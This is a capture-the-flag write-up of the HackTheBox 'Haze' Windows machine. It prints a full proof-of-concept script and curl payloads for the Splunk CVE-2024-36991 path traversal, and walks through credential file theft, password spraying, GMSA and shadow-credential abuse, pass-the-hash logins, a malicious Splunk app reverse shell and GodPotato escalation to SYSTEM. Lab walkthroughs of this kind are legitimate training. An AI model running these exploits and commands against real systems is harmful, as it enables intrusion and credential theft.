Post

Haze HackTheBox

Haze HackTheBox

Haze HackTheBox

Haze is a hard difficulty Windows machine focused on web exploitation, domain abuse, and Windows privilege escalation. Initial access is gained by exploiting a Splunk Arbitrary File Read (CVE-2024-36991) to extract an LDAP bind password, which is then decrypted using splunk.secret. With valid credentials, a BloodHound scan reveals further accounts, and password spraying provides access to a user with GMSA management rights. This allows abuse of the PrincipalsAllowedToRetrieveManagedPassword property to dump hashes and pivot into a privileged service account. Using Shadow Credentials, access is escalated to another user. Backup files expose more credentials, eventually giving admin access to Splunk. Finally, a custom app upload enables a reverse shell, and SeImpersonatePrivilege is abused to impersonate SYSTEM, completing the escalation chain.

image.png

Initial Foothold

Rustscan

1
rustscan -a 10.129.169.250 -r 1-65535 -- -sC -sV -oA nmap/haze -vv 10.129.169.250

image.png

image.png

image.png

image.png

image.png

image.png

image.png

Looking at the results we have a huge amount of ports open on the box, on port 53 DNS is open, 139 and 445 indicates SMB is open, 389 and 636 indicate that LDAP is running this means active directory is installed on the box and also 8000 and 8089 indicates that there is a splunk instance running on the box.

The domain name is haze.htb, and the domain controller is identified as DC01, so FQDN be DC01.HAZE.HTB.

The clock is 8hours 4min 43sec ahead of our local time.

Lets start by looking at SPLUNK instance on ports 8000 and 8089 and see what we can find in them.

Splunk Exploitation

Visiting the site on port 8000 we have this page.

image.png

We dont know the credentials yet, So looking at port 8089 the secure page for the splunk instance.

image.png

Port 8089 reveals us the Splunk version running on the site, i.e. 9.2.1

Lets lookup some CVEs regarding this version on CVE.org

When searching for SPLUNK WINDOWS as the query, we found these available.

image.png

Searching through all of the vulnerabilities the most suitable found is CVE-2024-36991, for this we have a github exploit too.

https://github.com/bigb0x/CVE-2024-36991

This exploit exploits a path traversal vulnerability in the splunk application below 9.2.1 to expose sensitive system files.

Running the exploit reveals us these hashes.

1
python3 CVE-2024-36991.py -u http://haze.htb:8000/

image.png

This is the /etc/passwd file present inside splunk on windows.

Lets try to modify the exploit to our needs.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
"""

POC for CVE-2024-36991: Path traversal that affects Splunk Enterprise on Windows versions below 9.2.2, 9.1.5, and 9.0.10

POC Author: x.com/MohamedNab1l                                                                             
GitHub: https://github.com/bigb0x/CVE-2024-36991

Usage:
    single scan: CVE-2024-36991.py -u https://target:9090
    bulk scan CVE-2024-36991.py -f file.txt

Disclaimer:
    I like to create my own tools for fun, work and educational purposes only. I do not support or encourage hacking or unauthorized access to any system or network. Please use my tools responsibly and only on systems where you have clear permission to test.

"""

import requests
import argparse
import threading
import queue
import os
from requests.exceptions import RequestException
import re
from datetime import datetime
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

the_version = "1.0.1"

dimmed_gray_color = '\033[90m'
honey_yellow_color = "\033[38;5;214m"
dim_yellow_color = "\033[33;1m"
cyan_color = '\033[96m'
green_color = '\033[92m'
red_color = '\033[31m'
light_orange_color = '\033[38;5;214m'
reset_color = '\033[0m'

def banner():
    print(f"""
{cyan_color}                                                                        
  ______     _______     ____   ___ ____  _  _        _____  __   ___   ___  _ 
 / ___\ \   / | ____|   |___ \ / _ |___ \| || |      |___ / / /_ / _ \ / _ \/ |
| |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ |_ \| '_ | (_) | (_) | |
| |___  \ V / | |__|_____/ __/| |_| / __/|__   _|________) | (_) \__, |\__, | |
 \____|  \_/  |_____|   |_____|\___|_____|  |_|      |____/ \___/  /_/   /_/|_|
                                                                           
{reset_color}{light_orange_color}-> POC CVE-2024-36991. This exploit will attempt to read Splunk /etc/passwd file. {reset_color}
-> By x.com/MohamedNab1l
{light_orange_color}-> Use Wisely.{reset_color}
""")

LOG_DIR = 'logs'
LOG_FILE = os.path.join(LOG_DIR, 'scan.log')

def create_log_dir():
    if not os.path.exists(LOG_DIR):
        os.makedirs(LOG_DIR)
        print_message('info', f"Log directory created: {LOG_DIR}")

def log_message(message):
    with open(LOG_FILE, 'a') as log_file:
        log_file.write(f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} - {message}\n")

def print_message(level, message):
    if level == 'vulnerable':
        print(f"{cyan_color}[VLUN] {message}{reset_color}")
    if level == 'info':
        print(f"{dimmed_gray_color}[INFO] {message}{reset_color}")
    elif level == 'success':
        print(f"{green_color}[VLUN] {message}{reset_color}")
    elif level == 'warning':
        print(f"{honey_yellow_color}[WARNING] {message}{reset_color}")
    elif level == 'error':
        print(f"{red_color}[ERROR] {message}{reset_color}")
    log_message(message)

paths_to_check = payload = "/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/passwd"

def make_request(url):
    try:
        response = requests.get(url, verify=False)
        if response.status_code == 200:
            return response.text
        else:
            return None
    except requests.RequestException as e:
        return None

def test_host(url):
    try:
        fullurl = f"{url}{paths_to_check}"
        body = make_request(fullurl)
        if body is not None and 'admin:' in body:
            print_message('vulnerable', f"Vulnerable: {url}")
            print(body)
        else:
            print_message('warning', f"Not Vulnerable: {url}")
    except requests.RequestException as e:
        print_message('error', f"Timeout: {url}")

# Worker function for threading
def worker(queue):
    while not queue.empty():
        url = queue.get()
        print_message('info', f"Testing {url}")
        test_host(url)
        queue.task_done()

# Main function
def main():
    banner()
    parser = argparse.ArgumentParser(description='Check for CVE-2024-36991 Splunk Enterprise on Windows.')
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('-u', '--url', help='Target URL (e.g., http://example.com)')
    group.add_argument('-f', '--file', help='File containing list of URLs (one per line)')

    args = parser.parse_args()

    create_log_dir()

    if args.url:
        print_message('info', f"Testing single target: {args.url}")
        test_host(args.url)
    elif args.file:
        with open(args.file, 'r') as f:
            urls = [line.strip() for line in f if line.strip()]
        
        print_message('info', f"Testing multiple targets from file: {args.file}")

        url_queue = queue.Queue()
        for url in urls:
            url_queue.put(url)

        threads = []
        for _ in range(10):
            t = threading.Thread(target=worker, args=(url_queue,))
            t.start()
            threads.append(t)

        for t in threads:
            t.join()

        print_message('info', "Scanning complete.")

if __name__ == '__main__':
    main()

This is the full exploit used to cat the /etc/passwd and the key path here used is /en-US/modules/messaging/C:../C:../C:../C:../C:../etc/passwd.

Lets curl it and see if we can read other sensitive system files in splunk, we can google for the sensitive files present in a splunk directory.

1
curl 'http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/passwd'

image.png

We can get the hashes this way.

Also there is a splunk secret present on /etc/auth/splunk.secret lets see if we can cat that.

1
curl 'http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/auth/splunk.secret'

image.png

And yes we can!

This are all the splunk sensitive files.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Splunk admin credentials
C:\Program Files\Splunk\etc\passwd
C:\Program Files\SplunkUniversalForwarder\etc\passwd

# Splunk secret (used to decrypt passwords)
C:\Program Files\Splunk\etc\auth\splunk.secret
C:\Program Files\SplunkUniversalForwarder\etc\auth\splunk.secret

# Main server config
C:\Program Files\Splunk\etc\system\local\server.conf
# Authentication config
C:\Program Files\Splunk\etc\system\local\authentication.conf
# Inputs (may contain credentials)
C:\Program Files\Splunk\etc\system\local\inputs.conf
# Outputs (forwarding credentials)
C:\Program Files\Splunk\etc\system\local\outputs.conf
# Web config
C:\Program Files\Splunk\etc\system\local\web.conf
# Deployment config
C:\Program Files\Splunk\etc\system\local\deploymentclient.conf

# Splunk SSL certs
C:\Program Files\Splunk\etc\auth\server.pem
C:\Program Files\Splunk\etc\auth\ca.pem
C:\Program Files\Splunk\etc\auth\cacert.pem

# Web SSL
C:\Program Files\Splunk\etc\auth\splunkweb\
C:\Program Files\Splunk\etc\auth\splunkweb\privkey.pem
C:\Program Files\Splunk\etc\auth\splunkweb\cert.pem

We can also read the server.pem SSL certficates file.

1
curl 'http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/auth/server.pem'

image.png

We can also cat the authentication.conf file like this.

1
curl 'http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/system/local/authentication.conf'

image.png

In this we see the LDAPBindPassword for the user Paul Taylor

But the password is encrypted using splunk secret. So lets try to decrypt this password hash using the secret.

Decrypting Splunk Secrets

We can easily list the splunk secrets file but now we need to decrypt it, so here is a great tool to decrypt hashes using splunk secrets.

image.png

1
splunksecrets splunk-decrypt -S splunksecret.txt

image.png

We were able to decrypt the password hash for the Paul Taylor user and were able to retrieve their password.

Authentication as Paul Taylor

We dont know the Paul Taylor’s exact domain name, so I tried with a few guesses and it worked.

1
nxc smb dc01.haze.htb -u 'Paul.Taylor' -p 'Ld@p_Auth_Sp1unk@2k24'

image.png

The correct username is Paul.Taylor.

Now lets get the users, computers and groups present on the domain by doing a RID Brute forcing attack.

1
nxc smb dc01.haze.htb -u 'Paul.Taylor' -p 'Ld@p_Auth_Sp1unk@2k24' --rid-brute

image.png

Saving these to a file for future reference.

Bloodhound

Since we have authentication lets collect bloodhound data to proceed further.

1
rusthound -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24' -d haze.htb -i 10.129.169.250 -z

image.png

There were no outbounds present with the user Paul.Taylor.

Shell as Mark.Adams

So lets try with the password spary to the list of users which we got from the RID Bruteforcing.

1
nxc smb dc01.haze.htb -u objects.txt  -p 'Ld@p_Auth_Sp1unk@2k24' --continue-on-success

image.png

We have authentication as Mark.Adams!

Also the bloodhound data is messed up for this box.

image.png

Apparently Mark.Adams is a group which is a part of REMOTE MANAGEMENT USERS in the domain, so lets check weather we can winrm as him or not.

1
nxc winrm dc01.haze.htb -u 'Mark.Adams' -p 'Ld@p_Auth_Sp1unk@2k24'

image.png

So lets get a shell on the box as him using evil-winrm-py.

1
evil-winrm-py -i 10.129.169.250 -u 'Mark.Adams' -p 'Ld@p_Auth_Sp1unk@2k24'

image.png

We have a shell.

But we cant read user.txt as it is not present for this user.

Also our bloodhound id messed up so we cant see any outbounds for Mark.Adams, so lets use BloodyAD to see where we have write privileges.

1
bloodyad -d haze.htb -u 'Mark.Adams' -p 'Ld@p_Auth_Sp1unk@2k24' -i 10.129.169.250 get writable

image.png

WE have WRITE access over the HAZE-IT-BACKUP$, this probably means this is a GMSA account, so lets try to read its hash.

1
bloodyad -d haze.htb -u 'Mark.Adams' -p 'Ld@p_Auth_Sp1unk@2k24' -i 10.129.169.250 msldap gmsa

image.png

Only domain admins have the permission to read the NTLM hash for the account.

Now I uploaded the PrivescCheck.ps1 to our Mark.Adam’s winrm shell for further enumeration.

image.png

One key thing found is that the Splunk service is running as Alexander.Green

image.png

But nothing really interesting found with the PrivescCheck.

There is something needs to be done with the Mark.Adams user, so I listed its attributes using bloodyAD.

1
bloodyad -d haze.htb -u 'Mark.Adams' -p 'Ld@p_Auth_Sp1unk@2k24' -i 10.129.169.250 get object 'mark.adams'

image.png

This user is a part of gMSA_Managers.

image.png

Uploaded and executed sharphound on the remote machine.

image.png

Lets see if we can find something new in bloodhound.

image.png

Now we have the clear picture that Mark.Adams is a member of GMSA_MANAGERS.

Also Alexander.Green has a session on DC01.

image.png

We can try a RouguePotato attack to capture its hash, but Ill cover this later.

Authentication as HAZE-IT-BACKUP$

So above we saw that we have WRITE access over the HAZE-IT-BACKUP$ GMSA account, But we couldn’t retrieve its hash since only Domain Admins have that privilege to do so.

image.png

image.png

But bloodyAD told us that we have WRITE access over that account, so Lets add ourselves beside the Domain Admins.

image.png

image.png

We can see the PrincipalsAllowedToRetriveManagedPassword attribute, We need to add ourselves to this attribute and then we can retrieve the password for this account.

1
Set-ADServiceAccount 'HAZE-IT-BACKUP$' -PrincipalsAllowedToRetrieveManagedPassword 'Mark.Adams'

image.png

image.png

Now lets try to retrieve the GMSA account hash.

1
nxc ldap dc01.haze.htb -u 'Mark.Adams' -p 'Ld@p_Auth_Sp1unk@2k24' --gmsa

image.png

Checking for the authentication.

1
nxc ldap dc01.haze.htb -u 'haze-it-backup$' -H '76da32697ff38bc7c9fa6289abf47940'

image.png

Marking this account as owned in bloodhound.

Shell as Edward.Martin

Now we have WRITE-OWNER permissions over SUPPORT_SERVICES group.

image.png

So lets takeover this SUPPORT_SERVICES group.

1
bloodyad -d haze.htb -u 'HAZE-IT-BACKUP$' -p ':76da32697ff38bc7c9fa6289abf47940' -i 10.129.169.250 set owner 'SUPPORT_SERVICES' 'HAZE-IT-BACKUP$'

image.png

Adding GenericAll over SUPPORT_SERVICES.

1
bloodyad -d haze.htb -u 'HAZE-IT-BACKUP$' -p ':76da32697ff38bc7c9fa6289abf47940' -i 10.129.169.250 add genericAll 'SUPPORT_SERVICES' 'HAZE-IT-BACKUP$'

image.png

Now since our changes are getting reseted every 2 minutes I requested a TGT for the HAZE-IT-BACKUP$ Account.

1
faketime -f '+8h' getTGT.py haze.htb/'haze-it-backup$'@10.129.169.250 -hashes :76da32697ff38bc7c9fa6289abf47940

image.png

Lets now again collect bloodhound data, since there were no outbounds detected from SUPPORT_SERVICES group, exported the ccache file.

1
faketime -f '+8h' bloodhound-python -k -u 'haze-it-backup$' -no-pass --auth-method kerberos -dc dc01.haze.htb -ns 10.129.169.250 -d haze.htb --zip

image.png

Uploaded it to bloodhound we can see that.

image.png

So lets perform a shadow credential attack to takeover the Edward.Martin user.

1
faketime -f "+8h" bloodyad -d haze.htb -u 'HAZE-IT-BACKUP$' -p ':76da32697ff38bc7c9fa6289abf47940' -i 10.129.169.250 add shadowCredentials 'Edward.Martin'

image.png

We know that Edward.Martin is a part of Remote Management Users.

So lets login using Evil-winrm.

1
evil-winrm-py -i 10.129.169.250 -u 'Edward.Martin' -H '09e0b3eeb2e7a6b0d419e9ff8f4d91af'

image.png

Privilege Escalation

Backup Reviewers Privilege

image.png

Edward martin is a member of Backup_Reviewers group this means he has permissions to view the Backups folder present inside C:\

Listing it.

image.png

Successfully downloaded the whole .zip file.

Shell as Alexander.Green

Lets see what we have in the backup of splunk zip.

image.png

We have another secret present inside of the Splunk backup files.

image.png

Then there must be a authentication.conf file present too, that we found earlier.

image.png

Lets see what we have in these authentication.conf files.

image.png

We have an another authentication for Alexander.Green.

So now we have a secret and a bindDNpassword.

Lets again decrypt the password.

1
splunksecrets splunk-decrypt -S splunksecret2.txt

image.png

Lets check for the authentication across the domain.

1
nxc smb dc01.haze.htb -u 'alexander.green' -p 'Sp1unkadmin@2k24'

image.png

Those credentials didnt worked for us, so testing them on the website at http://haze.htb:8000/

image.png

These credentials even failed for the alexander.green user.

Testing for the administrator login, we got logged in!

image.png

We got logged in the admin:Sp1unkadmin@2k24

This happened since Alexander.Green is a member of SPLUNK_ADMINS.

image.png

He is a member of SPLUNK_ADMINS group.

Also earlier we saw that the Splunk service is running as Alexander.Green. Apparantly we can create a malicious splunk app that after uploading executes and maintains persistence on the host.

https://github.com/0xjpuff/reverse_shell_splunk

This github repo helps us to create a malicious splunk application that we need to upload here.

image.png

From the repo we have this directory structure that needs to be a tar ball.

image.png

I will change the contents of rev.py, run.bat and run.ps1.

image.png

I modified the contents so that we bypass AV if running on the host.

I also removed the rev.py file as it was applicable for the linux installations and we are on windows.

Now we create a tarball of it.

1
tar -cvzf malicious.tgz splunkrevshell/

image.png

Successfully created a tarball, now we start a listener on port 9002 and we upload the tarball to the remote machine using the upload app feature.

Now we need to rename it to a .spl file since the application only accepts .spl files.

image.png

After an upload of the .spl file, it requires a restart of the application.

image.png

Just after the upload we get a hit back on our listener on port 9002 as Alexander.Green

image.png

So now we have a shell as Alexander.Green lets enumerate his session.

Shell as NT AUTHORITY\SYSTEM

Checking for the privileges alexander.green holds.

1
whoami /priv

image.png

So lets upload a GodPotato.exe and nc64.exe to the system and get a shell as NT AUTHORITY\SYSTEM.

image.png

Now we start a listener on port 9005 to receive a shell.

1
rlwrap -cAr nc -lnvp 9005

image.png

Got a very odd shell not returning output as intended, but this is a system’s shell.

But we can list the administrator’s desktop this means we are NT AUTHORITY\SYSTEM on the machine.

image.png

Rooted!

image.png

Thanks for reading 😎

This post is licensed under CC BY 4.0 by the author.